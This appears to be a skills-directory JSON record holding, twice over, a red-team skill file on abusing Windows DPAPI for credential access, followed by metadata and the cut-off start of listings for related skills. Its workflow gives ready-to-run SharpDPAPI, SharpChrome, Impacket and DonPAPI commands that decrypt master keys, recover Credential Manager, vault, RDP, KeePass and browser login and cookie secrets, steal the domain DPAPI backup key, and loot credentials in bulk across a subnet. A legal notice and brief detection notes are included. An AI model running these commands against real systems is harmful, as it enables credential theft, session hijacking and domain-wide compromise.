[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ADJTDSHXVQ8SYBC74Z8927":3,"skill-same:01M6ADJTDSHXVQ8SYBC74Z8927":106},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":8,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":18,"categories":19,"keywords":30,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":57,"commitSha":58,"skillDirectory":59,"forksCount":60,"repositoryHtmlUrl":61,"repositoryHomepageUrl":62,"ownerHtmlUrl":63,"ownerBlogUrl":64,"ownerDescription":65,"updatedAt":66,"install":67,"resources":80},"01M6ADJTDSHXVQ8SYBC74Z8927","abusing-dpapi-for-credential-access","Windows DPAPI 凭据提取与解密","Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins\u002Fcookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.","使用 SharpDPAPI、SharpChrome、Mimikatz 或 Impacket 的 dpapi.py，在线或离线提取并解密受 Windows DPAPI 保护的机密（凭据管理器、浏览器登录信息\u002Fcookie、Wi-Fi 凭据、KeePass 密钥），包括通过 DPAPI 备份密钥进行全域解密。在获得立足点之后，或在研判从主机提取的 DPAPI blob 时，用于授权的 red-team（红队）凭据访问行动。","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36146,"Apache-2.0",null,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002FSKILL.md",[20,25],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BR4MYFKGCC4WCWVJ50KJ2C","安全工程师","PROFESSION","适用职业",{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BRK82SYBDNZ3SG8YAH5A3D","凭证与密钥管理","SCENARIO","使用场景",[31,32,33,34,35,36,37,38,39,40,41,42,43],"abusing dpapi for credential access","directory","cybersecurity","windows","browser","offline","red-team","credential-access","dpapi","sharpdpapi","post-exploitation","active-directory","mimikatz","2026-11-10 10:12:30",false,"---\nname: abusing-dpapi-for-credential-access\ndescription: Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins\u002Fcookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- credential-access\n- dpapi\n- sharpdpapi\n- post-exploitation\n- active-directory\n- windows\n- mimikatz\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\nmitre_attack:\n- T1555.004\n---\n# Abusing DPAPI for Credential Access\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.\n\n## Overview\n\nThe Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome\u002FEdge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual \"DPAPI blobs.\" The encrypted master keys live under `%APPDATA%\\Microsoft\\Protect\\\u003CSID>\\` (user) and `%WINDIR%\\System32\\Microsoft\\Protect\\` (machine).\n\nRed teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:\n\n1. **Online \u002F context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `\u002Funprotect` flag uses this.\n2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `\u002Fpassword:` or `\u002Fntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).\n3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `\u002Fpvk:`.\n\nThe canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote\u002Foffline triage.\n\n## When to Use\n\n- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.\n- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.\n- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.\n- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.\n- During purple-team exercises to validate detection of DPAPI master-key access and LSASS\u002FProtect-folder reads.\n\n## Prerequisites\n\n- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.\n- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.\n- Tooling (compile from source or use release binaries; obtain only from official upstreams):\n\n```bash\n# SharpDPAPI \u002F SharpChrome (GhostPack) — build with Visual Studio \u002F msbuild\ngit clone https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI.git\n# Open SharpDPAPI.sln and build Release, or:\nmsbuild SharpDPAPI.sln \u002Fp:Configuration=Release\n\n# Mimikatz (original DPAPI implementation)\n# https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz\u002Freleases\n\n# Linux remote\u002Foffline triage (Impacket)\npipx install impacket            # provides dpapi.py \u002F impacket-dpapi\npipx install donpapi             # https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI\n```\n\n## Objectives\n\n- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.\n- Decrypt user master keys online (`\u002Funprotect`), with a password\u002Fhash, or with the domain backup key.\n- Recover plaintext Credential Manager and Vault secrets.\n- Extract browser saved logins and cookies with SharpChrome.\n- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager \u002F Vault entries; decrypting master keys and blobs recovers these stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome\u002FEdge logins, cookies, and state keys. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys \u002F backup keys is a form of credential material dumping. |\n\n## Workflow\n\n### 1. Triage the host for DPAPI blobs\n\nRun the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG\u002FRDP, and certificates:\n\n```powershell\n# Online triage in the current user's context (uses CryptUnprotectData)\nSharpDPAPI.exe triage \u002Funprotect\n\n# Machine triage (requires local admin \u002F SYSTEM) for machine-scoped blobs\nSharpDPAPI.exe machinetriage\n```\n\n### 2. Decrypt user master keys offline (password or NTLM hash)\n\nIf you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:\n\n```powershell\n# Decrypt all of the current\u002Fspecified user's master keys with the password\nSharpDPAPI.exe masterkeys \u002Fpassword:CorrectHorseBatteryStaple\n\n# Decrypt master keys with the user's NTLM hash instead of the password\nSharpDPAPI.exe masterkeys \u002Fntlm:cc36cf7a8514893efccd332446158b1a\n\n# Output is GUID:SHA1 lines — feed them to credentials\u002Fvaults commands\n```\n\n### 3. Recover Credential Manager and Vault secrets\n\nUse the decrypted master-key mapping (or `\u002Fpvk:`) to decrypt the stored credentials and vault entries:\n\n```powershell\n# Decrypt Credential Manager blobs with a GUID:SHA1 mapping\nSharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1\n\n# Or point at a target Credentials folder and decrypt with the domain backup key\nSharpDPAPI.exe credentials \u002Ftarget:C:\\Users\\bob\\AppData\\Local\\Microsoft\\Credentials\\ \u002Fpvk:backupkey.pvk\n\n# Decrypt Credential Vault entries\nSharpDPAPI.exe vaults \u002Fpvk:backupkey.pvk\n```\n\n### 4. Decrypt RDP, KeePass, and certificate secrets\n\n```powershell\n# Saved RDCMan.settings RDP passwords (current user context)\nSharpDPAPI.exe rdg \u002Funprotect\n\n# KeePass DPAPI-protected master keys\nSharpDPAPI.exe keepass \u002Funprotect\n\n# Certificate private keys (export usable .pem with \u002Fshowall for all stores)\nSharpDPAPI.exe certificates \u002Funprotect \u002Fshowall\n```\n\n### 5. Extract browser credentials with SharpChrome\n\nSharpChrome decrypts Chrome\u002FEdge logins and cookies. Modern Chromium uses an App-Bound \"state key\" that SharpChrome resolves via DPAPI:\n\n```powershell\n# Decrypt saved logins for the current user\nSharpChrome.exe logins \u002Funprotect\n\n# Decrypt cookies (useful for session hijacking) in a target folder\nSharpChrome.exe cookies \u002Ftarget:\"C:\\Users\\bob\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\" \u002Fpvk:backupkey.pvk\n\n# Resolve the AES state key explicitly\nSharpChrome.exe statekeys \u002Funprotect\n```\n\n### 6. Obtain the domain DPAPI backup key (Domain Admin)\n\nWith Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:\n\n```powershell\n# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface\nSharpDPAPI.exe backupkey \u002Fserver:dc01.corp.local \u002Ffile:backupkey.pvk\n```\n\nThen decrypt any user's master keys offline with it:\n\n```powershell\nSharpDPAPI.exe masterkeys \u002Fpvk:backupkey.pvk \u002Ftarget:C:\\Users\\alice\\AppData\\Roaming\\Microsoft\\Protect\\\n```\n\n### 7. Remote \u002F Linux-based triage (Impacket \u002F DonPAPI)\n\nFrom a Linux operator box, harvest and decrypt DPAPI secrets across hosts:\n\n```bash\n# Decrypt a single masterkey file with Impacket using the domain backup key\nimpacket-dpapi masterkey -file \u003Cmasterkey_file> -pvk backupkey.pvk\n\n# Decrypt a credential blob with the recovered masterkey\nimpacket-dpapi credential -file \u003Ccred_blob> -key 0x\u003Cdecrypted_masterkey>\n\n# Mass remote DPAPI looting across hosts with DonPAPI\ndonpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0\u002F24\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| SharpDPAPI | Windows DPAPI triage\u002Fdecryption (C#) | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| SharpChrome | Chromium logins\u002Fcookies\u002Fstate-key decryption | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz |\n| Impacket dpapi.py | Remote\u002Foffline DPAPI decryption (Python) | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| DonPAPI | Mass remote DPAPI looting | https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI |\n| HackTricks DPAPI | Technique reference | https:\u002F\u002Fbook.hacktricks.wiki\u002Fen\u002Fwindows-hardening\u002Fwindows-local-privilege-escalation\u002Fdpapi-extracting-passwords.html |\n\n## Detection and OPSEC Notes\n\n- Master-key access and reads of `\\Microsoft\\Protect\\` and `\\Microsoft\\Credentials\\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.\n- The `\u002Funprotect` (online) path is the stealthiest single-host option but only works as the live user.\n- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect\u002FCredentials folders (DE.CM-01).\n\n## Validation Criteria\n\n- [ ] Host triaged with `SharpDPAPI triage` \u002F `machinetriage`.\n- [ ] User master keys decrypted via `\u002Funprotect`, `\u002Fpassword:`, `\u002Fntlm:`, or `\u002Fpvk:`.\n- [ ] Credential Manager and Vault secrets recovered.\n- [ ] RDP \u002F KeePass \u002F certificate secrets extracted where present.\n- [ ] Browser logins\u002Fcookies decrypted with SharpChrome.\n- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.\n- [ ] All recovered secrets documented with source host\u002Fuser and ROE adherence confirmed.\n","# Abusing DPAPI for Credential Access\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.\n\n## Overview\n\nThe Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome\u002FEdge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual \"DPAPI blobs.\" The encrypted master keys live under `%APPDATA%\\Microsoft\\Protect\\\u003CSID>\\` (user) and `%WINDIR%\\System32\\Microsoft\\Protect\\` (machine).\n\nRed teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:\n\n1. **Online \u002F context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `\u002Funprotect` flag uses this.\n2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `\u002Fpassword:` or `\u002Fntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).\n3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `\u002Fpvk:`.\n\nThe canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote\u002Foffline triage.\n\n## When to Use\n\n- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.\n- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.\n- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.\n- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.\n- During purple-team exercises to validate detection of DPAPI master-key access and LSASS\u002FProtect-folder reads.\n\n## Prerequisites\n\n- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.\n- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.\n- Tooling (compile from source or use release binaries; obtain only from official upstreams):\n\n```bash\n# SharpDPAPI \u002F SharpChrome (GhostPack) — build with Visual Studio \u002F msbuild\ngit clone https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI.git\n# Open SharpDPAPI.sln and build Release, or:\nmsbuild SharpDPAPI.sln \u002Fp:Configuration=Release\n\n# Mimikatz (original DPAPI implementation)\n# https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz\u002Freleases\n\n# Linux remote\u002Foffline triage (Impacket)\npipx install impacket            # provides dpapi.py \u002F impacket-dpapi\npipx install donpapi             # https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI\n```\n\n## Objectives\n\n- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.\n- Decrypt user master keys online (`\u002Funprotect`), with a password\u002Fhash, or with the domain backup key.\n- Recover plaintext Credential Manager and Vault secrets.\n- Extract browser saved logins and cookies with SharpChrome.\n- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager \u002F Vault entries; decrypting master keys and blobs recovers these stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome\u002FEdge logins, cookies, and state keys. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys \u002F backup keys is a form of credential material dumping. |\n\n## Workflow\n\n### 1. Triage the host for DPAPI blobs\n\nRun the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG\u002FRDP, and certificates:\n\n```powershell\n# Online triage in the current user's context (uses CryptUnprotectData)\nSharpDPAPI.exe triage \u002Funprotect\n\n# Machine triage (requires local admin \u002F SYSTEM) for machine-scoped blobs\nSharpDPAPI.exe machinetriage\n```\n\n### 2. Decrypt user master keys offline (password or NTLM hash)\n\nIf you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:\n\n```powershell\n# Decrypt all of the current\u002Fspecified user's master keys with the password\nSharpDPAPI.exe masterkeys \u002Fpassword:CorrectHorseBatteryStaple\n\n# Decrypt master keys with the user's NTLM hash instead of the password\nSharpDPAPI.exe masterkeys \u002Fntlm:cc36cf7a8514893efccd332446158b1a\n\n# Output is GUID:SHA1 lines — feed them to credentials\u002Fvaults commands\n```\n\n### 3. Recover Credential Manager and Vault secrets\n\nUse the decrypted master-key mapping (or `\u002Fpvk:`) to decrypt the stored credentials and vault entries:\n\n```powershell\n# Decrypt Credential Manager blobs with a GUID:SHA1 mapping\nSharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1\n\n# Or point at a target Credentials folder and decrypt with the domain backup key\nSharpDPAPI.exe credentials \u002Ftarget:C:\\Users\\bob\\AppData\\Local\\Microsoft\\Credentials\\ \u002Fpvk:backupkey.pvk\n\n# Decrypt Credential Vault entries\nSharpDPAPI.exe vaults \u002Fpvk:backupkey.pvk\n```\n\n### 4. Decrypt RDP, KeePass, and certificate secrets\n\n```powershell\n# Saved RDCMan.settings RDP passwords (current user context)\nSharpDPAPI.exe rdg \u002Funprotect\n\n# KeePass DPAPI-protected master keys\nSharpDPAPI.exe keepass \u002Funprotect\n\n# Certificate private keys (export usable .pem with \u002Fshowall for all stores)\nSharpDPAPI.exe certificates \u002Funprotect \u002Fshowall\n```\n\n### 5. Extract browser credentials with SharpChrome\n\nSharpChrome decrypts Chrome\u002FEdge logins and cookies. Modern Chromium uses an App-Bound \"state key\" that SharpChrome resolves via DPAPI:\n\n```powershell\n# Decrypt saved logins for the current user\nSharpChrome.exe logins \u002Funprotect\n\n# Decrypt cookies (useful for session hijacking) in a target folder\nSharpChrome.exe cookies \u002Ftarget:\"C:\\Users\\bob\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\" \u002Fpvk:backupkey.pvk\n\n# Resolve the AES state key explicitly\nSharpChrome.exe statekeys \u002Funprotect\n```\n\n### 6. Obtain the domain DPAPI backup key (Domain Admin)\n\nWith Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:\n\n```powershell\n# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface\nSharpDPAPI.exe backupkey \u002Fserver:dc01.corp.local \u002Ffile:backupkey.pvk\n```\n\nThen decrypt any user's master keys offline with it:\n\n```powershell\nSharpDPAPI.exe masterkeys \u002Fpvk:backupkey.pvk \u002Ftarget:C:\\Users\\alice\\AppData\\Roaming\\Microsoft\\Protect\\\n```\n\n### 7. Remote \u002F Linux-based triage (Impacket \u002F DonPAPI)\n\nFrom a Linux operator box, harvest and decrypt DPAPI secrets across hosts:\n\n```bash\n# Decrypt a single masterkey file with Impacket using the domain backup key\nimpacket-dpapi masterkey -file \u003Cmasterkey_file> -pvk backupkey.pvk\n\n# Decrypt a credential blob with the recovered masterkey\nimpacket-dpapi credential -file \u003Ccred_blob> -key 0x\u003Cdecrypted_masterkey>\n\n# Mass remote DPAPI looting across hosts with DonPAPI\ndonpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0\u002F24\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| SharpDPAPI | Windows DPAPI triage\u002Fdecryption (C#) | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| SharpChrome | Chromium logins\u002Fcookies\u002Fstate-key decryption | https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpDPAPI |\n| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https:\u002F\u002Fgithub.com\u002Fgentilkiwi\u002Fmimikatz |\n| Impacket dpapi.py | Remote\u002Foffline DPAPI decryption (Python) | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| DonPAPI | Mass remote DPAPI looting | https:\u002F\u002Fgithub.com\u002Flogin-securite\u002FDonPAPI |\n| HackTricks DPAPI | Technique reference | https:\u002F\u002Fbook.hacktricks.wiki\u002Fen\u002Fwindows-hardening\u002Fwindows-local-privilege-escalation\u002Fdpapi-extracting-passwords.html |\n\n## Detection and OPSEC Notes\n\n- Master-key access and reads of `\\Microsoft\\Protect\\` and `\\Microsoft\\Credentials\\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.\n- The `\u002Funprotect` (online) path is the stealthiest single-host option but only works as the live user.\n- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect\u002FCredentials folders (DE.CM-01).\n\n## Validation Criteria\n\n- [ ] Host triaged with `SharpDPAPI triage` \u002F `machinetriage`.\n- [ ] User master keys decrypted via `\u002Funprotect`, `\u002Fpassword:`, `\u002Fntlm:`, or `\u002Fpvk:`.\n- [ ] Credential Manager and Vault secrets recovered.\n- [ ] RDP \u002F KeePass \u002F certificate secrets extracted where present.\n- [ ] Browser logins\u002Fcookies decrypted with SharpChrome.\n- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.\n- [ ] All recovered secrets documented with source host\u002Fuser and ROE adherence confirmed.\n",{"name":5,"tags":49,"author":50,"domain":33,"license":16,"version":51,"nist_csf":52,"subdomain":54,"description":7,"mitre_attack":55},[37,38,39,40,41,42,34,43],"mahipal","1.0",[53],"DE.CM-01","red-teaming",[56],"T1555.004","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fabusing-dpapi-for-credential-access",4425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":9,"skillName":5,"commands":68,"prompt":78,"zipAvailable":79},[69,72,75],{"tool":70,"command":71},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill abusing-dpapi-for-credential-access",{"tool":73,"command":74},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill abusing-dpapi-for-credential-access",{"tool":76,"command":77},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill abusing-dpapi-for-credential-access","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002FSKILL.md",true,[81,87,92,96,100],{"path":82,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"agents\u002Fopenai.yaml","REFERENCE","参考文档",146,"https:\u002F\u002Fgithub.com\u002Ftdortman\u002Fdotfiles\u002Fblob\u002Fmain\u002Fhome\u002Fdot_agents\u002Fskills\u002Fubiquitous-language\u002Fagents\u002Fopenai.yaml",{"path":88,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":90,"sourceHtmlUrl":91},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002FLICENSE",{"path":93,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":94,"sourceHtmlUrl":95},"references\u002Fapi-reference.md",3360,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002Freferences\u002Fapi-reference.md",{"path":97,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":98,"sourceHtmlUrl":99},"references\u002Fstandards.md",1886,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002Freferences\u002Fstandards.md",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"scripts\u002Fagent.py","SCRIPT","脚本",6285,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fabusing-dpapi-for-credential-access\u002Fscripts\u002Fagent.py",[107,139,168,200,229,261],{"skillNo":108,"name":109,"nameZh":110,"description":111,"descriptionZh":112,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":113,"categories":114,"keywords":119,"publishedAt":44},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","SLSA 构建来源验证","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","使用 Sigstore 的 cosign（verify、verify-attestation、verify-blob-attestation）和 slsa-verifier（verify-artifact）验证工件签名和 SLSA 来源（provenance），强制校验 keyless OIDC 构建者身份和源仓库是否符合 SLSA Build 级别。适用于 CI\u002FCD 中部署工件前、消费第三方证明时、建立 SLSA Build L3 管道，或在事件响应或准入控制期间确认来源的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[115,116],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":117,"categoryName":118,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C32Q37WAMK06SGMFC02VFP","软件供应链安全",[120,121,122,123,124,33,125,126,127,128,129,130,131,132,133,134,135,136,137,138],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":140,"name":141,"nameZh":142,"description":143,"descriptionZh":144,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":145,"categories":146,"keywords":151,"publishedAt":44},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","TPM 测量启动验证","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","使用 tpm2-tools 验证 TPM 2.0 测量启动（measured boot）的完整性和远程证明：读取 PCR（tpm2_pcrread）、重放启动事件日志、生成并检查签名报价（tpm2_quote\u002Ftpm2_checkquote），以及将机密封印（seal）到 PCR 策略。适用于确认系统已启动可信固件\u002F内核以实现零信任（Zero Trust）设备状态、通过 PCR 漂移检测启动链篡改，或构建黄金值基线用于机群（fleet）证明。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[147,148],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":149,"categoryName":150,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C89JJEXGGRGHS6XVXDA46K","终端安全加固",[152,135,153,154,124,155,33,127,156,157,158,159,160,161,162,163,164,165,166,167],"boot","TPM","validating tpm measured boot 